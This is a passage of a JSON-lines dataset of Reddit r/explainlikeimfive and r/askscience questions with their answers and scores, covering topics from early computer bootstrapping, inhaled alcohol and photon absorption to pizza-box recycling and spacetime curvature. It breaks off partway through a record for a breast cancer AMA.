really basic read, write, and execute functions.\n\nPost Altair type flip switch computers and you are bootstrapping from your Altair OS.\n\nWhat would be really cool is if they made a FLIP Switch board USB device that could boot a PC into a null mode so you could \"start from scratch\" but I think the security risks and risk of damage would be too high so you are back to a VM Altair like system.\n\nThat said there is nothing that prevents anyone from writing a new  virtual PC architecture that just gives you say 64 levers and virtual interfaces to the real computer and start from there.\n\nWould make an interesting video game actually... the history of an OS. Start with just a few switches and slowly unlock components to build an OS....", "S/he'd have to be one hell of a HW engineer to manually flip memory on modern PC's to code an OS... You'd need a team of HW engineers some x86 Machine Code** (Originally said ASM) coders, and a lot of specialized equipment.\n\nNow if it was a PC from the 80's and had a blank EEPROM with a flasher and eraser, then yes. But they'd need to know the specific CPUS architectures ASM/MC/Binary language, how the machines memory is mapped, and they'd also need to know how to work a primitive flasher.\n\nSo, realistically? Not a chance.\n\nELI5 on terms\n\nEEPROM = BIOS/OS Storage\n\nFlasher = Way to write EEPROM\n\nEraser = a UV Light\n\nPrimitive Flasher = A bunch of light switches that flip bits for EEPROM\n\nMemory Map = Location in RAM that tells HW what to do\n\nASM = Language the PC Speaks, not getting into MC vs ASM / Whereas C++, for example, is translated into ASM/MC.\n\nAddendum\n\nMC = Machine Code = Lower than ASM, ultimately translated into Binary\n\nI wish I could explain further, but it's too much to go into on an ELI5 post, PM me if you're actually interested."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://xkcd.com/378/"], [], [], ["https://en.wikipedia.org/wiki/Teletype_Model_33", "https://en.wikipedia.org/wiki/Computer_Automation"], ["https://en.wikipedia.org/wiki/PDP-1#/media/File:PDP-1_control_board.jpg"], [], ["http://www.gotterdammerung.org/humor/real-programmers.html"], ["https://www.reddit.com/r/programming/comments/9x15g/programming_thought_experiment_stuck_in_a_room/c0ewj2c"], ["https://www.youtube.com/watch?v=OPcV9uIY5i4", "https://www.youtube.com/watch?v=hB6eY73sLV0"], [], [], [], [], ["http://github.com/kragen/stoneknifeforth", "http://github.com/kragen/peg-bootstrap", "http://github.com/kragen/tokthr", "https://www.reddit.com/r/programming/comments/9x15g/programming_thought_experiment_stuck_in_a_room/c0ewj2c"], [], [], [], [], [], [], ["https://www.reddit.com/r/programming/comments/9x15g/programming_thought_experiment_stuck_in_a_room/c0ewj2c"], [], ["https://en.wikipedia.org/wiki/Bootstrapping_%28compilers%29"], ["http://sam.speccy.cz/asm/trs80_asm_prog_pt1.pdf", "https://upload.wikimedia.org/wikipedia/commons/thumb/e/ee/Pdp-11-40.jpg/450px-Pdp-11-40.jpg"], [], [], [], [], []]}
{"q_id": "pylyk", "title": "What are the benefits and risks of \"inhaling alcohol?\"", "selftext": "Machines that vaporize alcohol and mix it with oxygen apparently exist as an alternative method of consuming alcohol. What are the benefits/dangers of this? _URL_1_\n\nInspired by a current AskScience about bathing in alcohol: _URL_0_ ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pylyk/what_are_the_benefits_and_risks_of_inhaling/", "answers": {"a_id": ["c3tcc7f"], "score": [9], "text": ["When you ingest alcohol, it's taken up into your bloodstream and the first places it goes is through the [Portal Venous System](_URL_0_) to the liver.  It gets metabolized there in what's called the [First Pass Metabolism](_URL_1_) before it goes anywhere else in your body.\n\nBasically, anything that you're eating goes to the liver before it goes anywhere else.  This is a way to ensure that any toxins get removed from your bloodstream before they circulate to the rest of your body.\n\nBy inhaling alcohol, you're absorbing it through your lungs, rather than your stomach and bypassing this first pass metabolism.  This means that you have unprocessed alcohol circulating throughout your bloodstream.\n\nI'd recommend against it.  It is an easy way to have a dangerous amount of alcohol in your blood stream in a relatively quick amount of time.  There's a reason that these machines are being banned in so many places.\n\nAs a side note, the first pass metabolism is one reason that drugs are so hard to develop.  Often up to 99% of a drug is eliminated in the liver before it even can take effect on the body.  This is also the reason that injecting and smoking illicit drugs is usually much more effective than eating them.  It's another way to bypass this mechanism. "]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/askscience/comments/pxnez/if_i_had_a_bath_of_20_year_malt_whiskey_how_long/", "http://en.wikipedia.org/wiki/Alcohol_without_liquid"], "answers_urls": [["http://en.wikipedia.org/wiki/Portal_venous_system", "http://en.wikipedia.org/wiki/First_pass_effect"]]}
{"q_id": "etk1cj", "title": "why is facial recognition use by law enforcement so opposed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/etk1cj/eli5_why_is_facial_recognition_use_by_law/", "answers": {"a_id": ["ffgv3ug", "ffgvash"], "score": [4, 2], "text": ["Every record of you has the ability to be used against you depending on who happens to be in power.  Constant surveillance inevitably leads to behavioral control.  Sure it\u2019s about catching criminals today. But say 10 years from now the fact you walked into a candy store might be used to increase your health insurance rates.   \n  \nWe already have evidence of this with car insurance companies increasingly wanting to install vehicle trackers so you get a \u201cdiscount\u201d or life insurance companies using your financial data to price policies.   Or even employers who Facebook stalk their employees to decide who to fire and who to promote. \n  \nIn China your behavior while playing video games can impact your social score which can lead an inability to travel.   Sure, that country is an extreme example but it Is something that could happen anywhere people aren\u2019t vigilant about protecting their privacy.", "It would also be used by organized crime to track down snitches, rapists to track their victims, and so forth. There is no way to make sure it is only used to track criminals - once the data is out there, there will be ways for people to access it.\nAlso, people tend to believe that if a match is found, that makes them guilty.  In reality, there are a lot of false positives-the programs have an especially hard time telling people with dark skin apart-and you would get a lot of false arrests/convictions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5j38i5", "title": "under the particle interpretation of light, how is \"absorption of light\" understood?", "selftext": "For instance on a black shirt, light that hits it is (for the most part) absorbed. Where exactly does this photon go? If it is destroyed and converted to kinetic energy, what exactly does that process looking like (ie. a ball [the photon], hitting an atom and bursting into heat energy?)?\n\nHow about for a green shirt, if green is (for the most part) reflected back out, under the particle interpretation of light, are the green wavelengths of the photon somehow split off (reflecting off the shirt), and the rest absorbed? This would imply a single photon could be split, which seems strange.\n\nSorry if this is a re-post, but I couldn't find any historical question asking about light particularly in its particle definition form.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5j38i5/eli5_under_the_particle_interpretation_of_light/", "answers": {"a_id": ["dbd0ecm", "dbd21th", "dbddp1o"], "score": [3, 9, 2], "text": ["A photon has a specific wavelength - it does not make sense to talk about the \"green wavelengths\" of \"a\" photon. It is absorbed by an electron which jumps to a higher orbit. Then the electron emits another photon and goes to a lower orbit.\n", "The photon gets destroyed and transfers its energy and momentum to the material that absorbed it.\n\n >  what exactly does that process looking like\n\nAs photons are elementary particles, there is no deeper \"how does it look like\". You can calculate it in detail in quantum mechanics, but the process is still something that cannot be split into smaller parts.\n\nGreen shirts will absorb many photons with a wavelength that is not green, while photons with a wavelength in the green range will rarely get absorbed. It is not always that easy, but it works with green shirts.", "When a photon strikes a surface, it transfers all of its energy to one atom and one atom only. Depending on the energy of the photon, an electron of said atom either gets 'excited' into a higher state or leaves the atom completely. This was first postulated by Einstein while he was trying to explain photoelectricity. \n\nEDIT: Words."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3688xb", "title": "where does water actually come from and where does it go before it reaches my sink?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3688xb/eli5where_does_water_actually_come_from_and_where/", "answers": {"a_id": ["crbnx00", "crbop6m"], "score": [6, 17], "text": ["Well when two hydrogen atoms and one dirty little blonde oxygen atom from accounting make sweet sweet love in the copy room...things get a little wet.", "Just handling the \"last lap\" part of it, the part where it enters and leaves your sink, the answer depends on just how rural you are.\n\n**Cities and Suburbs:**\n\n* Where it comes from: usually a nearby river or lake. The water company (or water department) pulls water from the river or lake, filters and cleans it, and pumps it into big pipes that criss-cross the city and surrounding areas (water mains). There's a smaller pipe that runs from the nearest water main to your house, and then smaller pipes that run from there to the sink.\n\n* Where it goes: through a small pipe to a vertical, larger pipe (standpipe) that makes a right-angle turn under your basement floor (usually) and runs out to the sewer main. From there it runs downhill to the sewer treatment plant which filters as much as they can out of it, and pumps the rest back into some river or lake; usually the same one, usually down-stream.\n\n**Outer suburbs and rural:**\n\n* Where it comes from: the pipe runs from your house to a well, which is a pump connected to a deep pipe that runs down to where the ground is so wet that, if you dig a hole, water seeps out (the water table). That layer of water-soaked ground has been there for a very long time; some of that water seeps in from nearby rivers or streams or lakes, but most of it was there when the ground formed and will be gone when it's used up.\n\n* Where it goes: from your sink, it runs via pipes out to a holding tank in your back yard (septic tank). The solids settle out and have to be shoveled out every so many years. The water slowly seeps through the sides of the tank into the ground."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "59kad3", "title": "When doing separation of variables for partial differential equations, why do we assume the initial equation is a product of two one-dimensional functions?", "selftext": "For example, say I have a function u(x.t) and want to solve the Laplace for u(x.t). I would first set u(x,t) = X(x)T(t). Why is it assumed that u(x,t) = X(x)T(t) and not something else like X(x) + T(t)?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/59kad3/when_doing_separation_of_variables_for_partial/", "answers": {"a_id": ["d99805k", "d99cbm8", "d99jwn2", "d99lgtb"], "score": [7, 3, 3, 3], "text": [" > Why is it assumed that u(x,t) = X(x)T(t) and not something else like X(x) + T(t)?\n\nYou *can* do additive separation of variables as well.\n\nAn example of this would be solving the [Hamilton-Jacobi equation](_URL_0_) in classical mechanics. You often assume that Hamilton's characteristic function S(**q**,t) is a sum of a coordinate-dependent function and a time-dependent function.", "You can't *always* solve a PDE by using separation of variables. If you substitute u(x,t) for X(x)T(t), then the PDE is separable only if you can arrange the equation with all x-terms on one side and all y-terms on the other side. If you can't separate them, then the equation is not separable and this method will not work.\n\nI'm not sure if this means that there don't exist any solutions of the for X(x)T(t), or if this method simply can't find them. I think it's the former but maybe someone more knowledgeable will chime in. However, in general, a separated solution to a PDE is not the only solution. For example, there are solutions to the heat equation (a separable PDE) of the form f(t)e^g(x,t) , which clearly can't be separated.", "For a linear PDE assuming the solution is a product of functions of one-variable still admits solutions far more general than products of single-variable functions, because the general solution is typically a linear combination of linearly independent solutions.\n\nFor instance, the generic heat equation u_t = u_xx (with some appropriate boundary conditions) gives rise to the product solution u(x,t) = exp(-a^(2)\\*t)\\*sin(pi\\*a\\*x) where a is any element of an infinite sequence, say it's {1, 2, 3, 4, 5, ...}. So there's infinitely many \"product\" solutions, and the general solution is some linear combination of them:\n\nC1\\*exp(-t)\\*sin(pi\\*x) + C2\\*exp(-4\\*t)\\*sin(2pi\\*x) + C3\\*exp(-9\\*t)\\*sin(3pi\\*x) + ...\n\nEven though this general solution is itself not a product of two one-variable functions, we still arrive at it by assuming the solution is of that form, and the linearity of the PDE carries us the rest of the way.\n\nOr suppose some linear PDE has the (unknown) solution u(x, t) = (x - t)^(4). That's not a product of a function of x and a function of t, so how will we arrive at it by assuming the solution is of that form? It will have to be the case that we'll find intermediate solutions that are monomial terms, ui(x, t) = x^(k)\\*t^(4-k) for k = 0, 1, 2, 3, 4, which are exactly the coefficient-less terms of the expansion of (x-t)^(4).\n\nSomewhere in here is a general theorem about when an arbitrary functions of more than one variable can be written as a sum of products of functions of one variable (which would make it always safe to assume we can find any solution by summing up functions of the form X(x)T(t)). In what I can find this is a tricky area with ongoing research, but it appears for most purposes it's a safe assumption to make.", "Generally in classes, you only do this to problems that it \"works\" for. You can  try it for arbitrary PDEs, but it may not work. A lot of the time, you solve a PDE by first showing the uniqueness of the solutions, or how many independent solutions that there can actually be. Then you go and find that many independent solutions and the method you use to find them doesn't matter. What works, works. In physics or engineering courses, you might skip the first step, or assume someone else has done it or assume that it \"just works\", you then only have to find a solution through any means. And a lot of the time, the toy models in classes can be solved by separating variables. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Hamilton\u2013Jacobi_equation#Separation_of_variables"], [], [], []]}
{"q_id": "yy7lj", "title": "What are these ants doing? I keep seeing this on the paving stones in Toronto. I had never seen this before I moved here. ", "selftext": "These tiny red ants are [all piled up](_URL_1_) in one area about 7 inches across.\n\nAnd in this case it was extended to some extent over[ the whole length of the paving stone](_URL_0_), though it isn't like this every time I've seen it.\n\nSorry for the quality of the pics, my phone isn't really designed for this kind of thing for some reason.\n\nMy only guess would be some sort of ant warfare, but they don't seem to be going anywhere with anything, just all wiggling around in one spot. Usually with raids you'll see the attackers carrying away larvae and such.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/yy7lj/what_are_these_ants_doing_i_keep_seeing_this_on/", "answers": {"a_id": ["c5zuqlv", "c5zxk6t", "c5zzggm"], "score": [19, 12, 2], "text": ["You're right, they're fighting. I noticed in the pictures, almost every ant is \"attached/touching\" to at least one other ant.\n\nIt could be interesting to take more pictures in several hours, or however long it takes for the fighting to stop to see all the casualties.", "As always, see RadioLab:\n_URL_0_", "I too have epic ant wars on my sidewalk. They are fun to watch. I dont kill them, I let the kings conquer new lands on their own!"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/Ex0Eo.jpg", "http://i.imgur.com/iZVw7.jpg"], "answers_urls": [[], ["http://www.radiolab.org/blogs/radiolab-blog/2012/jul/30/ants/"], []]}
{"q_id": "bxjgx0", "title": "how did people construct wells before modern drilling and how dangerous was it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bxjgx0/eli5_how_did_people_construct_wells_before_modern/", "answers": {"a_id": ["eq78quh", "eq7dczi", "eq7gqx5", "eq7nvfz", "eq811kg", "eq8acpp", "eq8ucci"], "score": [61, 16, 2, 6, 2, 3, 3], "text": ["Dig with a shovel. I've got an open well on my property that my great grandfather dug. He dug it with a shovel and shored up there walls with sandstone creek rocks as he went down. Some of the best water I've ever tasted. It's about 4 feet in diameter and 30 or so feet deep.", "[Here is a video of a hand dug well using bricks to reinforce](_URL_0_)", "It was really quite simple.  They start with a ring that is the size of the well and dig underneath it.  As the ring drops into the hole, they add bricks or stones on top.  They simply do this until they hit water.", "My Great Great (etc) Uncle helped dig the [Big Well](_URL_0_) and its, well, a big well. Shovels, and a lot of time. I\u2019ve been to the bottom of it a handful of times when I was a kid.", "Can a well be dug anywhere or doe sit have to be close to the river/sea? And is the water purified by the surrounding earth?", "In some places, with [lots and lots of stairs](_URL_1_) and to keep the water safe from people with poor balance or a fear of heights or drowning, [no guardrails](_URL_0_).  \n\nI wonder how many slinkies are at the bottoms of those.", "For a very early oil well I was told about a manual technique, like a heavy weight on the end of a cable. You build a tripod over the top of the well, hauled the weight up by winch and dropped it to impact the rock you are drilling through. Slow, laborious and no directional control. \n\nIf the impact head came off the cable you had to fish for it with hooks and more cable."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=RuzDyFquyqw"], [], ["https://en.wikipedia.org/wiki/Big_Well_(Kansas\\)"], [], ["https://en.wikipedia.org/wiki/Stepwell#/media/File:Hampi_aug09_243.jpg", "https://en.wikipedia.org/wiki/Stepwell#/media/File:ChandBaori.jpg"], []]}
{"q_id": "7ryp93", "title": "what makes certain types of cardboard (like pizza boxes) un-recyclable?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7ryp93/eli5_what_makes_certain_types_of_cardboard_like/", "answers": {"a_id": ["dt0l8dd", "dt0lai5", "dt0ooig", "dt0tecu", "dt0tlr4", "dt0vsi8", "dt0vtbb", "dt10zca", "dt11frv", "dt11g9y", "dt12k30", "dt13dy5", "dt1490y", "dt14j1u", "dt14m9b", "dt15paa", "dt15wdq", "dt16urt", "dt174md", "dt1b7hj", "dt1bql4", "dt1ca4u", "dt1f9up", "dt1gdui", "dt1iv4g", "dt1lm8m", "dt1mtst", "dt1nfps", "dt1phm2", "dt1rywt"], "score": [7197, 504, 8, 117, 68, 11, 8, 6, 14, 6, 3, 5, 3, 3, 3, 23, 22, 618, 3, 13, 2, 8, 2, 2, 9, 2, 2, 9, 2, 2], "text": ["With pizza boxes, it's not the type of cardboard that makes it unrecyclable; it's the oils from the pizza that soak into the cardboard.  Those oils cannot be separated back out from the paper fibers, so they're no longer any good for making paper/cardboard out of.", "From my understanding, the oils in foods causes problems for the recycling machinery and ruin the resultant pulp (the wet, soggy paper pieces) that end up getting dried and pressed into new sheets.", "I think it\u2019s just the food residue that\u2019s the problem. Other than that, cardboard is recyclable", "The other thing that can make cardboard-like items (like milk cartons and oatmeal containers) is the thin layer of wax on the inside that keeps moisture in/out.", "Another thing-if you are talking about frozen pizza boxes- those are sometimes wax coated, which also makes it hard to recycle, so not everywhere can take them.", "Is it o.k. to our them in yard waste?", "Frozen food ~~pizza~~ boxes can't be recycled because they are designed to be water proof (resistant?)\n\n", "TIL: I should not be recycling Pizza boxes. Oops.\n\nELI5: What happens to things that shouldn\u2019t be recycled but end up in recycling, are they hand sorted somewhere at some point?\n\n*edit: should not", "Pizza boxes can be composted in some areas, and recycled in others.\n\nThey should not be landfilled, IMO.\n\nOne current issue to be aware of with pizza boxes is that many are made from recycled content.  Because receipts that were printed on thermal paper that contains BPA and other known carcinogens, they get recycled into the pizza boxes, which we then put our hot food into.\n\nSo please, don't recycle your slick, plastic-coated receipts.  Those should go into the landfill.  Even better, don't handle them at all.  ", "So what should we do with pizza boxes ? Composting them ? Sounds like a longshot.", "I was told a long time ago that grease ruins paper recycling. Also, unable if it has a waxy graphic on one side (like most consumer goods boxes) because it is too difficult to separate.  Rough ungreasy paper only.\n\nWhat sucks is our recycling bins accept all products in one bin so I have to make sure metals and plastics are clean before I recycle them so I don't not inadvertently ruin the paper. ", "But what about the parts of the pizza box that had no oils?", "Pizza boxes are compostable, or rip them up and throw them onto the garden as mulch to reduce water evaporation.", "Our local area Costco pizza boxes have recyclable signs on it.  Why is that if it has pizza oils?", "The oil/grease is was makes them un-recyclable. You can, however, put them in yard waste bins for composting.", "In Norway, there's a sheet of wax paper under the pizza. Weird that's not the norm everywhere. ", "There are too many comments for me to scroll through them all, but in case no one said it yet, it's important to realize there's no actual recycling infrastructure in the US, so the things you can recycle in your municipality may not be the same as the next one over. It has to do with the technologies in place at the recycling center, and what they're able to sell in the market. \n\nOur recycling center just recently started taking those plastic berry holders because they put in new equipment to help sort it better, but they also found a buyer willing to take it from the recycling center. However, they still won't take the plastic trays from girl scout cookies. It's important to know what your particular recycling center will and will not take, if it's single stream, etc. \n\nRecycling was basically a grassroots effort back in the day that enough people cared about to make it a thing, but there's no overarching infrastructure for it.", "There is so many people giving away information on here that varies from city to city. Don't take any of it to heart CHECK YOUR CITY'S WEBSITE FOR RECYCLING INFORMATION. Just because the guy in Iowa can't recycle his soup cans/milk cartons/pizza box/whatever doesn't mean your city can't. ", "The oils from the pizza make the cardboard unable to be recycled. The recycling process can\u2019t remove the oil. Many pizza boxes are perforated so you can remove the top and recycle that. Cardboards such as egg cartons can\u2019t be recycled because they\u2019ve been recycled too many time already. Every time paper is recycled it looses some of its strength. ", "Where I live we're allowed to recycle pizza boxes... I'd never heard of them being banned before.  \n\nIt must be food/grease, not the actual cardboard.", "Pizza boxes are [explictly included](_URL_0_) in New York City\u2019s cardboard recycling program.\n\nBonus fact: the city\u2019s composting program (mandatory in some parts of the city and in the process of rolling out to businesses and remaining residential neighborhoods) allow meat and dairy items not normally allowed by others.  ", "I competed in a solition to solve this and similar problems. There are many phases to seperate the paper pulp from glue/oils/residue etc. Each step depends on a physical characteristic of what you want to keep and eliminate, like the density of the substances. Oil embeded in cardboard changes these properties and you end up with paper pulp in a mechanism not designed to deal with it.\n\nTl;dr: It gums up steps to remove glues with paper pulp.", "Usually, it is a wax coating or \u201cwax impregnated medium\u201d that prevents recyclability when it comes to corrugated packaging.\n\nSource: Am IT guy for box-making company.", "Probably won't get an answer here but it's worth a shot. I'm trying to get a nice looking recycle bin for my work place (retail store) but don't know where to look. The pizza box thing came up when we were discussing that we need a lid that says what can and can't be recycled. This would be mainly for employee use.", "Actual box maker here:\n\nThere are a couple of things that will make something non-recyclable. \n\nAs others have said, food waste is a big one. The recycling process of the paper is good at removing inorganic matter but organic matter will remain and contaminate the new product. It becomes unsanitary and also difficult to print on. \n\nAlso, many food packages also have coatings on the inside to prevent oils from seeping through. Some use a thin layer of plastic (poly) which can go through the recycling process (Goes with what I said about organic waste). The other common coating is wax. Waxed products are not able to be recycled. ", "Pizza boxes are un-recyclable? I\u2019ve literally \u201crecycled\u201d hundreds of them!!", "Worth noting: Freezer boxes or fridge boxes generally aren't recyclable because they have a plastic fiber-y type layer that isn't recyclable in most places. Some people think that because it rips like paperboard, then it must be recyclable. This isn't accurate. \n\nSimilarly, coffee cups aren't recyclable because of the lining inside the cups. It doesn't matter that it's paper-y on the outside.\n\nWorth noting also is that the recoverability of various recycling materials - like certain types of plastic - is dependent up materials diversion markets globally. This means that what is/isn't recoverable (for some things) can change over time.\n\nSource: am a material resource managing consultant", "I work in a paper mill that uses 100% recycled cardboard as its raw material. You go ahead and throw that pizza box in the recycle bin. The oil from the pizza and the leftover cheese is insignificant compared to the other contaminants that our equipment will reject. There's still good fiber in that box that wants to be reused again.", "You can recycle pizza boxes in australia I'm pretty sure. They changed teh rules so you can recycle cardboard that has food scraps etc. ", "I worked at a paper mill for 6 months as a co-op (basically an internship on steroids) and I saw plenty of pizza boxes. The oils could potentially be an issue, but not on strength properties of the paper. If you are making sheet paper (by that I mean the kind we type/print on) would definitely be an issue. If you're making corrugated linerboard, which is what pizza boxes are made of, the only issue I could imagine is it being dirty, but the rolls are dyed anyways.\n\nTLDR; it kinda depends on what paper it would be recycled into\n\nAnd also possibly what area you live, I'm from NY and pizza boxes are recycled all over."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www1.nyc.gov/assets/dsny/zerowaste/residents/what-to-recycle-for-residents.shtml"], [], [], [], [], [], [], [], [], []]}
{"q_id": "28s166", "title": "If gravity can bend and warp space does that indicate space has physical substance, albeit one we cannot detect?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/28s166/if_gravity_can_bend_and_warp_space_does_that/", "answers": {"a_id": ["cie1rc9", "cie39na"], "score": [1407, 11], "text": ["This thread was a train-wreck of misinformation and, for some reason, the top comment was about philosophy.\n\nGravity doesn't cause space-time to curve. Gravity **is** the curvature of space-time. What actually **causes** space-time to curve is the [stress-energy tensor](_URL_1_).\n\nEssentially (if we ignore some of the complicated bits) this means that mass-energy causes space-time to curve; somewhat similar to how a force (for example, a weight) on a trampoline causes the [trampoline sheet to curve](_URL_2_).\n\nFrom this curvature you can calculate [geodesics](_URL_3_) which are analogous to straight lines but on curved surfaces rather than flat. Mass-energy which is in the presence of a gravitational field (aka in curved space-time) will follow a geodesic, assuming no external forces act upon the object.\n\nFor example, the Sun is an object with a large contribution to the stress-energy tensor. So much so, that it more or less dominates the curvature of space-time within the solar system. The Earth is following a geodesic which forms a closed orbit around the Sun.\n\nSimilarly, the Earth dominates the curvature of space-time in the Earth-Moon system and the Moon follows a geodesic which forms a closed orbit around the Earth.\n\nFinally, to attempt to answer OP's question:  \nIt depends how you define \"physical substance\".  \nIf you mean \"Can I take 1 unit of space-time and take it on the bus with me in a bucket so I can bring it to show-and-tell?\" then the answer is **no**.  \nIf you mean \"Can I make measurements of the curvature of space-time?\" then the answer is [**yes**](_URL_0_).  \nIf you mean \"Does space-time **actually** exist?\" then I, as a scientist, would say **yes**. However you can ask in /r/askphilosophy if you want to read arguments about the definition of existence for a few hours.\n\nTL;DR Mass-energy tells space-time how to curve. The curvature of space-time tells mass-energy how to move.\n\nEdit: Tried to clarify the trampoline analogy and added a YouTube link to further help.\n\nEdit 2: The questioned asked by /u/dreamonvoid is a good question and there are some great answers to it as well but it has been buried. Just a heads up and a reminder that you shouldn't downvote questions in this sub.\n\nEdit 3: Changed the tense of the first sentence.\n\nEdit 4: Changed the YouTube link about \"trampolines\" to one of much higher quality, thank you /u/Sidola.", "In general relativity, spacetime is a dynamical entity that can carry energy and momentum (*eg*, gravitational waves) very similarly to the electromagnetic field (electromagnetic radiation).  In this sense it is as real as every other physical entity that we encounter.  \n\nGravitational waves haven't been directly detected ([we're looking](_URL_1_)), but there is indirect [evidence from the behavior of binary pulsars](_URL_0_).\n\nIf GR is correct, spacetime is a **detectable** physical substance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://arxiv.org/abs/1105.3456", "http://en.wikipedia.org/wiki/Stress%E2%80%93energy_tensor", "http://youtu.be/MTY1Kje0yLg", "http://en.wikipedia.org/wiki/Geodesic_(general_relativity)"], ["http://www.astro.cardiff.ac.uk/research/gravity/tutorial/?page=3thehulsetaylor", "http://www.ligo.caltech.edu/"]]}
{"q_id": "1f74mp", "title": "Which scientist discovered the molecular formula of water (H^2O)?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1f74mp/which_scientist_discovered_the_molecular_formula/", "answers": {"a_id": ["ca7fp19"], "score": [5], "text": ["Berzelius invented the chemical formula notation as we know it, so he is definitely the first person to call it H2O. Whether he is the first person to realize water is made out of two parts hydrogen and part oxygen (or 1:8, if you go by mass ratio) is something I have to look up.\n\nEdit: It gets complicated because the molecular volume of water is (obviously) one of the very first things scientists tried to determine when atomic theory was invented. So the fact that water consists of a mass ratio of hydrogen to oxygen of 1:8 and a volume ratio of 2:1 was known before we properly understood the difference between molecules and atoms. The first person to come to come up with the correct idea for that was [Avogadro](_URL_0_). I am not sure he actually derived the molecular composition of water based on his theory, but it would greatly suprise me if he didn't. Unfortunately his ideas were pretty much ignored for half a century.\n\nIf want to read more about this wikipedia has a nice section on the early development of atomic theory [here](_URL_1_), which conveniently uses water as the main example."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Amedeo_Avogadro", "http://en.wikipedia.org/wiki/Atomic_theory#Early_modern_development"]]}
{"q_id": "19x8r5", "title": "Can someone help me understand a little better what's happening in this video? (Amoeba eats two paramecia)", "selftext": "_URL_0_\n\nIt looks like the amoeba is eating and digesting two other single celled organisms.  Why do they react like that? Is it just some sort of simple nervous system that detects they are being killed? Do we know what the core reason is for a natural response to fight it like that in a single cell?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19x8r5/can_someone_help_me_understand_a_little_better/", "answers": {"a_id": ["c8s5wvz"], "score": [13], "text": ["They are responding to noxious stimuli. Think of it as a *very* simplistic flight response.\n\nThey have receptors on their surface that detect things that are damaging them or can damage them. For example, they are possibly detecting their membranes being degraded by the amoebas actions (I don't know specifically what the factors would be in this case...not really my field).\n\nBasically, what happens is that if a noxious stimulus is detected, the organism will bolt in a random direction, and then bolt in another random direction as long as the stimulus is still there. The time between direction shifts is determined by the degree of noxious stimulus present. That is, concentration of the molecule being detected, the degree of damage, etc. \n\nBecause these are in a confined space, and the degree of stimulus is steady (or in this case probably increasing), they will change direction more and more rapidly, which makes them look \"panicked\". They aren't \"fighting\" the amoeba, they are trying to get away from it."]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=pvOz4V699gk"], "answers_urls": [[]]}
{"q_id": "3tnj7z", "title": "if trump wins the presidency, how does he separate his business from his office?", "selftext": "With so many things happening with his personal business side, how will that work once he is president (hypothetically). I mean, how will he continue to do both? I understand he has a whole company of people working for him, but he is still in charge ultimately. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3tnj7z/eli5_if_trump_wins_the_presidency_how_does_he/", "answers": {"a_id": ["cx7r2bg"], "score": [8], "text": ["I know that when Mitt Romney was running for President he put his assets into a blind trust. It was managed by someone Romney didn't know, and that person didn't know it was Romney's money he was managing. \n\nI'm not sure if Trump would do something similar. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "dffeal", "title": "AskScience AMA Series: We are researchers studying breast cancer at the National Institutes of Health (NIH). In honor of National Breast Cancer Awareness Month, ask us anything!", "selftext": "During National Breast Cancer Awareness Month each October, current and former patients, advocates, and scientists work together to educate the public about a disease that touches the lives of millions of Americans every year. In 2019 alone, researchers expect more than 300,000 American women to be diagnosed with breast cancer, along with more than 2,600 men. Roughly one out of every eight American women will develop invasive breast cancer at some point in her lifetime, making it the second most commonly diagnosed cancer in American women.\n\nIn recognition of National Breast Cancer Awareness Month, the NIH Intramural Research Program (IRP) and National Cancer Institute (NCI) have partnered to bring you an \"Ask Me Anything\" with two prominent researchers in the NCI's Women's Malignancies Branch: Stanley Lipkowitz, M.D., Ph.D., and Alexandra Zimmer, M.D. Dr. Lipkowitz studies cellular and molecular pathways that regulate the growth and destruction of breast and ovarian cancer cells, while Dr. Zimmer, the Branch's Clinical Director, develops translational clinical trials to study treatments for breast cancer that has spread to other parts of the body, particularly the brain. She also investigates ways of preventing breast cancer from leaving the breast in the first place, a\nprocess known as metastasis.\n\nDr. Zimmer and Dr. Lipkowitz will be online from 1:00 pm to 3:00 pm ET (17-19 UT) to answer your questions. Ask them anything!\n\nFor more information on the NCI's Women's Malignancies Branch, please visit\n_URL_1_.\n\nTo learn more about cancer research across the entire NIH IRP, go to _URL_0_.\n\nAs a reminder, we cannot answer questions about your medical treatment publicly. Please talk about these questions with your treating physician.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/dffeal/askscience_ama_series_we_are_researchers_studying/", "answers": {"a_id": ["f32npyz", "f32o31e", "f32oddb", "f32oeex", "f32qb2d", "f32rfqg", "f32s333", "f32s6mb", "f32sqgt", "f32wl1r", "f33ayh6", "f33k98h", "f33y1tv"], "score": [3, 3, 3, 3, 3, 2, 3, 